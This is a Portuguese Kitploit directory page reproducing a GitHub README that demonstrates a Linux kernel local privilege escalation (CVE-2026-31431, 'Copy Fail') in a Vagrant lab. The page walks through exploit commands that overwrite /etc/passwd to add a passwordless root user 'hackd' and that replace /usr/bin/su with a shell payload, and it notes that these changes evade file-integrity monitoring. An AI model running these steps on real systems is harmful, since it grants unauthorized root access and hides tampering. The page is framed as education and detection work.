Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-31431-CopyFail-Linux-PrivEsc — Uma demonstração e explicação do CVE-2026-31431 | Kitploit
Ferramentas/GitHubGitHub/john-popovici/cve-2026-31431-copyfail-linux-privesc
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoAprendizado e EducaçãoExploração de Binários
GitHubjohn-popovici/cve-2026-31431-copyfail-linux-privesc

CVE-2026-31431-CopyFail-Linux-PrivEsc

Uma demonstração e explicação do CVE-2026-31431

Ver Repositório

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
119há 8 diasAinda não revisado

CVE-2026-31431 CopyFail Escalação de Privilégios Local no Linux

Uma demonstração e explicação da CVE-2026-31431, a vulnerabilidade de Escalação de Privilégios Local Copy Fail no Kernel do Linux. A vulnerabilidade permite que arquivos abertos com permissão de leitura tenham seus dados sobrescritos no page cache.

Este repositório é apenas para fins educacionais e ilustra a vulnerabilidade em um ambiente controlado. Os arquivos incluídos são:

├── exploit
│   ├── copy_fail.py            # Exploit personalizado que pode ter como alvo qualquer arquivo com permissões de leitura
│   ├── original_payload.txt    # Uma cópia do payload usado no exploit original
│   ├── copy_fail_original.py   # Exploit original que sobrescreve /usr/bin/su
│   └── copy_fail_readable.py   # Exploit original em um formato mais legível com uma explicação do payload
├── README.md
└── Vagrantfile                 # Configuração para a VM Vagrant executando Ubuntu 22.04

Introdução

A vulnerabilidade, chamada Copy Fail, está presente em kernels Linux de 2017 a 2026 devido a uma falha lógica em algif_aead. Foi atribuída a CVE-2026-31431 com uma pontuação CVSS de 7.8, resultando em uma classificação de alta severidade. O exploit é determinístico e pode contornar ferramentas tradicionais de monitoramento de integridade de arquivos.

Provas de conceito foram publicadas em várias linguagens, incluindo C, Python e Go, mas para esta demonstração é usado Python e requer versão do Python 3.10 ou superior. Este exploit requer execução de código local como um usuário sem privilégios e pode ser usado para escalação de privilégios local.

As seções abaixo são:

  • Exploração: Demonstrações do exploit e como ele pode ser usado para obter privilégios de root.
  • Nota sobre Detecção de Exploração: Uma explicação de por que este exploit é difícil de detectar com ferramentas tradicionais de monitoramento de integridade de arquivos.
  • Vulnerabilidade: Um link para o commit que introduziu a vulnerabilidade e uma explicação do problema.
  • Patch: Um link para o commit que corrigiu a vulnerabilidade e uma explicação da correção.
  • Recursos Adicionais: Uma lista de recursos para leitura adicional e implementações do exploit em várias linguagens

Exploração

Configuração

Certifique-se de ter o Vagrant e o QEMU instalados. Em seguida, clone este repositório e navegue até o diretório do projeto.

vagrant up
vagrant ssh

Dentro da VM, podemos testar os limites de nossas capacidades.

id # uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant)
su # Somos solicitados a senha de root, que não temos

stat /usr/bin/su # Temos permissões de leitura e execução
stat /etc/passwd # Temos permissão de leitura
stat /etc/shadow # Não temos permissões

Estamos obviamente limitados em nossas capacidades, mas podemos usar a vulnerabilidade para escalar privilégios.

Demonstração de Exploração 1: Entendendo o Exploit

Para entender a vulnerabilidade, vamos sobrescrever um arquivo fictício e ver o que acontece.

echo -e "ABCDE\nF\nG" > dummy.txt
cat dummy.txt

Temos um arquivo com três linhas. A primeira linha tem 6 bytes (incluindo a nova linha), a segunda linha tem 2 bytes, e a terceira linha tem um único byte. Isso é importante porque o exploit sobrescreve dados em blocos de 4 bytes, e preenchemos o payload para completá-lo.

python3 exploit/copy_fail.py --target dummy.txt --payload "123456"
cat dummy.txt

Podemos ver que substituímos os primeiros 8 bytes do arquivo com nosso payload. Há dois caracteres que estão lá mas não são imprimíveis. Abra o arquivo no nano para verificar. Mas isso não é muito empolgante, então vamos passar para escrever em arquivos para os quais não temos permissões de escrita.

Demonstração de Exploração 2: Removendo a Senha de Root

Podemos sobrescrever o conteúdo de /etc/passwd para adicionar um usuário com privilégios de root mas sem senha.

cat /etc/passwd

A primeira linha contém o usuário root e contém 8 grupos de 4 caracteres (incluindo a nova linha). Está formatada da seguinte forma root:x:0:0:root:/root:/bin/bash, e os valores referem-se a nome de usuário, senha, UID, GID, diretório home, shell.

python3 exploit/copy_fail.py --target /etc/passwd --payload "hackd::0:0:root:/root:/bin/bash
"
cat /etc/passwd

Adicionamos um novo usuário hackd com UID 0 e GID 0, o que significa que ele tem privilégios de root. O campo de senha está vazio, então podemos fazer login sem senha.

su hackd
id
cat /etc/shadow

Demonstração de Exploração 3: Sobrescrevendo um Executável

No exploit original, o binário /usr/bin/su é sobrescrito com instruções para executar um shell, permitindo ao atacante obter privilégios de root ao executar su. Podemos recriar este exploit tendo como alvo /usr/bin/su com o payload original de um arquivo. Observe que isso destrói o binário su neste page cache.

python3 exploit/copy_fail.py --target /usr/bin/su --payload-file exploit/original_payload.txt

Com o payload no lugar, podemos executar su e obter privilégios de root. Isso abre um shell com id de usuário 0, que normalmente é o usuário root, mas se a demonstração acima foi realizada, seria o usuário hackd que criamos. Este exploit abriria um shell mesmo se o usuário root tivesse uma senha.

su
id

Nota sobre Detecção de Exploração

Este exploit não modifica o arquivo em disco, mas sim o estado do page-cache. Como resultado, ferramentas tradicionais de monitoramento de integridade de arquivos que verificam alterações em arquivos no disco não detectam este exploit.

Para demonstrar isso, execute o(s) exploit(s) acima e depois, após reiniciar a VM, verifique o conteúdo do arquivo alvo.

vagrant halt
vagrant up
vagrant ssh
cat /etc/passwd # O arquivo está inalterado no disco

Regras de detecção são compartilhadas em repositórios GitHub da comunidade que tentam detectar indicadores de rede ou padrões de script conhecidos. Essas regras de detecção são baseadas em artefatos públicos de PoC, payloads conhecidos, fragmentos de código e URLs.

  • Regras Yara
  • Regras Sigma

Por exemplo, o seguinte detectaria fragmentos de código específicos relacionados a PoC ou payloads codificados:

Baixar ferramenta